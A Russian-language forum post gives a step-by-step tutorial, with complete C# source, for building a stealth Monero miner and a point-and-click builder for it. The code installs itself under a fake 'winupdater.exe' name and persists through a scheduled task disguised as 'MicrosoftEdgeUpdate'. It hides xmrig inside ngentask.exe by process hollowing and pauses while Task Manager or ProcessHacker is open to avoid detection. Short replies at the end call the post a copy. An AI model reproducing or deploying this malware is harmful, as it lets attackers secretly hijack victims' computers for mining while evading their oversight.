Привет всем! Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6 Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс, и дальше вставим код public FileInfo FileName = new FileInfo("winupdater.exe"); // Задаем имя нашего майнера public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows")); // Задаем путь в appdata public void IsInstalled() { Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке } public void CreateDirectory() { if (DirectoryName.Exists) // Делаем проверку return; DirectoryName.Create(); // Создаем } public void InstallFile() { string path = Path.Combine(DirectoryName.FullName, FileName.Name); if (FileName.Exists) // Опять проверяем { foreach (Process process in Process.GetProcesses()) { try { if (process.MainModule.FileName == path) process.Kill(); // Если есть процес, то убиваем } catch { } } File.Delete(path);// Если есть папка, удаляем Thread.Sleep(280); // Задержка } using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write)) { byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде масива байтов fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле } } public void Run() { try { IsInstalled(); CreateDirectory(); InstallFile(); } catch { } } C# public FileInfo FileName = new FileInfo("winupdater.exe"); // Задаем имя нашего майнера public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows")); // Задаем путь в appdata public void IsInstalled() { Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке } public void CreateDirectory() { if (DirectoryName.Exists) // Делаем проверку return; DirectoryName.Create(); // Создаем } public void InstallFile() { string path = Path.Combine(DirectoryName.FullName, FileName.Name); if (FileName.Exists) // Опять проверяем { foreach (Process process in Process.GetProcesses()) { try { if (process.MainModule.FileName == path) process.Kill(); // Если есть процес, то убиваем } catch { } } File.Delete(path);// Если есть папка, удаляем Thread.Sleep(280); // Задержка } using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write)) { byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде масива байтов fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле } } public void Run() { try { IsInstalled(); CreateDirectory(); InstallFile(); } catch { } } Дальше идем в Program, и пишем class Program { static string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows"); // Путь в appdata public static void Main(string[] args) { string FileName = "winupdater.exe"; // Название процесса try { new Installer().Run(); } catch (Exception ex) { } try { if (!InstanceCheck()) Environment.Exit(0); } catch (Exception) { } try { var startInfo = new ProcessStartInfo // Идем в планировщик задач { FileName = "schtasks.exe", CreateNoWindow = false, WindowStyle = ProcessWindowStyle.Hidden, // Скрываем Arguments = @"/create /sc MINUTE /mo 3 /tn ""MicrosoftEdgeUpdate"" /tr """ + folder + "\\" + FileName + @""" /f" // Задаем аргументы }; Process.Start(startInfo); // Запускаем } catch { } const string pool = "*MASSEGE2*"; // Наши значения в строке pool const string moneroUsage = "25"; const string moneroWallet = "*MASSEGE*"; // Наши значения в строке moneroWallet byte[] xmr = VolVeRFMR.Properties.Resources.xmrig; string args2 = "--algo rx/0 --donate-level 0 --max-cpu-usage " + moneroUsage + " -o" + pool + " -u " + moneroWallet; // Добавим аргументов string withoutExtension1 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe"); // Путь для запуска List<string> stringList = new List<string>(); // Создаем лист процессов при которых будет останавливаться stringList.Add("mmc"); stringList.Add("ProcessHacker"); stringList.Add("Taskmgr"); stringList.Add("Диспетчер задач"); try { foreach (string processName in stringList) { for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName = Process.GetProcessesByName(processName)) { foreach (Process process in Process.GetProcessesByName(withoutExtension1)) { try { process.Kill(); } catch { } } } } } catch { } try { if (Process.GetProcessesByName(withoutExtension1).Length == 0) Program.PE.Run(xmr, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe", args2); // Запускаем } catch { } } static Mutex InstanceCheckMutex; static bool InstanceCheck() { bool isNew; InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew); return isNew; } public static class PE { [DllImport("kernel32.dll")] private static extern unsafe bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo); [DllImport("kernel32.dll")] private static extern long VirtualAllocEx( long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] private static extern long WriteProcessMemory( long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written); [DllImport("ntdll.dll")] private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress); [DllImport("kernel32.dll")] private static extern bool SetThreadContext(long hThread, IntPtr lpContext); [DllImport("kernel32.dll")] private static extern bool GetThreadContext(long hThread, IntPtr lpContext); [DllImport("kernel32.dll")] private static extern uint ResumeThread(long hThread); [DllImport("kernel32.dll")] private static extern bool CloseHandle(long handle); public static unsafe void Run(byte[] payloadBuffer, string host, string args) { int num1 = Marshal.ReadInt32((object)payloadBuffer, 60); int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56); int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60); int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16); short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2); short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16); long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24); Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo(); startupInfo.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(startupInfo); startupInfo.wShowWindow = (ushort)0; startupInfo.dwFlags = 1U; byte[] lpProcessInfo = new byte[24]; IntPtr num7 = Marshal.AllocHGlobal(1232 / 16); string lpCommandLine = host; if (!string.IsNullOrEmpty(args)) lpCommandLine = lpCommandLine + " " + args; string currentDirectory = Directory.GetCurrentDirectory(); Marshal.WriteInt32(num7, 48, 1048603); Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &startupInfo, lpProcessInfo); long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0); long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8); int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6); Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U); Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L); for (short index = 0; (int)index < (int)num4; ++index) { byte[] numArray = new byte[40]; Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40); int num11 = Marshal.ReadInt32((object)numArray, 12); int length = Marshal.ReadInt32((object)numArray, 16); int srcOffset = Marshal.ReadInt32((object)numArray, 20); byte[] lpBuffer = new byte[length]; Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length); Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L); } Program.PE.GetThreadContext(num9, num7); byte[] bytes = BitConverter.GetBytes(num6); long num12 = Marshal.ReadInt64(num7, 136); Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L); Marshal.WriteInt64(num7, 128, num6 + (long)num3); Program.PE.SetThreadContext(num9, num7); int num13 = (int)Program.PE.ResumeThread(num9); Marshal.FreeHGlobal(num7); Program.PE.CloseHandle(num8); Program.PE.CloseHandle(num9); } [StructLayout(LayoutKind.Explicit, Size = 104)] public struct StartupInfo { [FieldOffset(0)] public uint cb; [FieldOffset(60)] public uint dwFlags; [FieldOffset(64)] public ushort wShowWindow; } } } C# class Program { static string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows"); // Путь в appdata public static void Main(string[] args) { string FileName = "winupdater.exe"; // Название процесса try { new Installer().Run(); } catch (Exception ex) { } try { if (!InstanceCheck()) Environment.Exit(0); } catch (Exception) { } try { var startInfo = new ProcessStartInfo // Идем в планировщик задач { FileName = "schtasks.exe", CreateNoWindow = false, WindowStyle = ProcessWindowStyle.Hidden, // Скрываем Arguments = @"/create /sc MINUTE /mo 3 /tn ""MicrosoftEdgeUpdate"" /tr """ + folder + "\\" + FileName + @""" /f" // Задаем аргументы }; Process.Start(startInfo); // Запускаем } catch { } const string pool = "*MASSEGE2*"; // Наши значения в строке pool const string moneroUsage = "25"; const string moneroWallet = "*MASSEGE*"; // Наши значения в строке moneroWallet byte[] xmr = VolVeRFMR.Properties.Resources.xmrig; string args2 = "--algo rx/0 --donate-level 0 --max-cpu-usage " + moneroUsage + " -o" + pool + " -u " + moneroWallet; // Добавим аргументов string withoutExtension1 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe"); // Путь для запуска List<string> stringList = new List<string>(); // Создаем лист процессов при которых будет останавливаться stringList.Add("mmc"); stringList.Add("ProcessHacker"); stringList.Add("Taskmgr"); stringList.Add("Диспетчер задач"); try { foreach (string processName in stringList) { for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName = Process.GetProcessesByName(processName)) { foreach (Process process in Process.GetProcessesByName(withoutExtension1)) { try { process.Kill(); } catch { } } } } } catch { } try { if (Process.GetProcessesByName(withoutExtension1).Length == 0) Program.PE.Run(xmr, "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe", args2); // Запускаем } catch { } } static Mutex InstanceCheckMutex; static bool InstanceCheck() { bool isNew; InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew); return isNew; } public static class PE { [DllImport("kernel32.dll")] private static extern unsafe bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, Program.PE.StartupInfo* lpStartupInfo, byte[] lpProcessInfo); [DllImport("kernel32.dll")] private static extern long VirtualAllocEx( long hProcess, long lpAddress, long dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] private static extern long WriteProcessMemory( long hProcess, long lpBaseAddress, byte[] lpBuffer, int nSize, long written); [DllImport("ntdll.dll")] private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress); [DllImport("kernel32.dll")] private static extern bool SetThreadContext(long hThread, IntPtr lpContext); [DllImport("kernel32.dll")] private static extern bool GetThreadContext(long hThread, IntPtr lpContext); [DllImport("kernel32.dll")] private static extern uint ResumeThread(long hThread); [DllImport("kernel32.dll")] private static extern bool CloseHandle(long handle); public static unsafe void Run(byte[] payloadBuffer, string host, string args) { int num1 = Marshal.ReadInt32((object)payloadBuffer, 60); int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56); int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60); int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16); short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2); short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16); long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24); Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo(); startupInfo.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(startupInfo); startupInfo.wShowWindow = (ushort)0; startupInfo.dwFlags = 1U; byte[] lpProcessInfo = new byte[24]; IntPtr num7 = Marshal.AllocHGlobal(1232 / 16); string lpCommandLine = host; if (!string.IsNullOrEmpty(args)) lpCommandLine = lpCommandLine + " " + args; string currentDirectory = Directory.GetCurrentDirectory(); Marshal.WriteInt32(num7, 48, 1048603); Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &startupInfo, lpProcessInfo); long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0); long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8); int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6); Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U); Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L); for (short index = 0; (int)index < (int)num4; ++index) { byte[] numArray = new byte[40]; Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40); int num11 = Marshal.ReadInt32((object)numArray, 12); int length = Marshal.ReadInt32((object)numArray, 16); int srcOffset = Marshal.ReadInt32((object)numArray, 20); byte[] lpBuffer = new byte[length]; Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length); Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L); } Program.PE.GetThreadContext(num9, num7); byte[] bytes = BitConverter.GetBytes(num6); long num12 = Marshal.ReadInt64(num7, 136); Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L); Marshal.WriteInt64(num7, 128, num6 + (long)num3); Program.PE.SetThreadContext(num9, num7); int num13 = (int)Program.PE.ResumeThread(num9); Marshal.FreeHGlobal(num7); Program.PE.CloseHandle(num8); Program.PE.CloseHandle(num9); } [StructLayout(LayoutKind.Explicit, Size = 104)] public struct StartupInfo { [FieldOffset(0)] public uint cb; [FieldOffset(60)] public uint dwFlags; [FieldOffset(64)] public ushort wShowWindow; } } } Должна получится вот такая картина, если да, то продолжаем Дальше для удобства создаем Builder Создаем и накидываем пару textBox для кошелька и пула, и button для создания build. Дальше делаем значение button1_Click CompilerParameters Params = new CompilerParameters(); Params.GenerateExecutable = true; Params.ReferencedAssemblies.Add("System.dll"); //Добавлем линк в исходный файл на System.dll Params.ReferencedAssemblies.Add("System.Windows.Forms.dll"); //Тоже самое но на System.Windwos.Forms.dlle Params.ReferencedAssemblies.Add("System.Management.dll"); Params.ReferencedAssemblies.Add("System.Core.dll"); Params.CompilerOptions = "/unsafe"; Params.CompilerOptions += "\n/t:winexe"; //Убираем cmd окно путём объявления программы Windows приложением Params.OutputAssembly = "Build.exe"; //Имя исходного файла C# CompilerParameters Params = new CompilerParameters(); Params.GenerateExecutable = true; Params.ReferencedAssemblies.Add("System.dll"); //Добавлем линк в исходный файл на System.dll Params.ReferencedAssemblies.Add("System.Windows.Forms.dll"); //Тоже самое но на System.Windwos.Forms.dlle Params.ReferencedAssemblies.Add("System.Management.dll"); Params.ReferencedAssemblies.Add("System.Core.dll"); Params.CompilerOptions = "/unsafe"; Params.CompilerOptions += "\n/t:winexe"; //Убираем cmd окно путём объявления программы Windows приложением Params.OutputAssembly = "Build.exe"; //Имя исходного файла Дальше кидаем в ресурсы наш код, и xmrig Далее опять прописываем в button1_Click string resource = Properties.Resources.Program; string resource2 = Properties.Resources.Installer; string resource3 = Properties.Resources.Resources_Designer; using (var v = new ResourceWriter(Path.GetTempPath() + @"\" + resxPath2 + ".resources")) { v.AddResource("xmrig", Properties.Resources.xmrig); // Кидаем xmrig в ресурсы } Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @"\" + resxPath2 + ".resources"); resource = resource.Replace("*MASSEGE*", textBox1.Text); // Заменяем значения для MASSEGE resource = resource.Replace("*MASSEGE2*", textBox2.Text); // Заменяем значения для MASSEGE2 var settings = new Dictionary<string, string>(); settings.Add("CompilerVersion", "v4.0"); //Указываем версию framework-a 2.0 CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3); if (Results.Errors.Count > 0) { foreach (CompilerError err in Results.Errors) MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть } else { MessageBox.Show("Готово, файл появится в том же месте где и программа :)"); //Выводим сообщение что всё прошло успешно } C# string resource = Properties.Resources.Program; string resource2 = Properties.Resources.Installer; string resource3 = Properties.Resources.Resources_Designer; using (var v = new ResourceWriter(Path.GetTempPath() + @"\" + resxPath2 + ".resources")) { v.AddResource("xmrig", Properties.Resources.xmrig); // Кидаем xmrig в ресурсы } Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @"\" + resxPath2 + ".resources"); resource = resource.Replace("*MASSEGE*", textBox1.Text); // Заменяем значения для MASSEGE resource = resource.Replace("*MASSEGE2*", textBox2.Text); // Заменяем значения для MASSEGE2 var settings = new Dictionary<string, string>(); settings.Add("CompilerVersion", "v4.0"); //Указываем версию framework-a 2.0 CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3); if (Results.Errors.Count > 0) { foreach (CompilerError err in Results.Errors) MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть } else { MessageBox.Show("Готово, файл появится в том же месте где и программа :)"); //Выводим сообщение что всё прошло успешно } Запускаем, вводим значение, и нажимаем Build, если все работает то: Кому надо уже готовый: https://github.com/VolVeRFM/CPU-Miner-Builder
call_mommy, зачем на них нажимать, просто фиксани, чтобы лишних кликов не делать + навести красоту, чем видеть битые картинки
Копипаст https://teletype.in/@volver/VolVeRMINER И скрины не поправил удаля скрин с ником человека написавшего статью -реп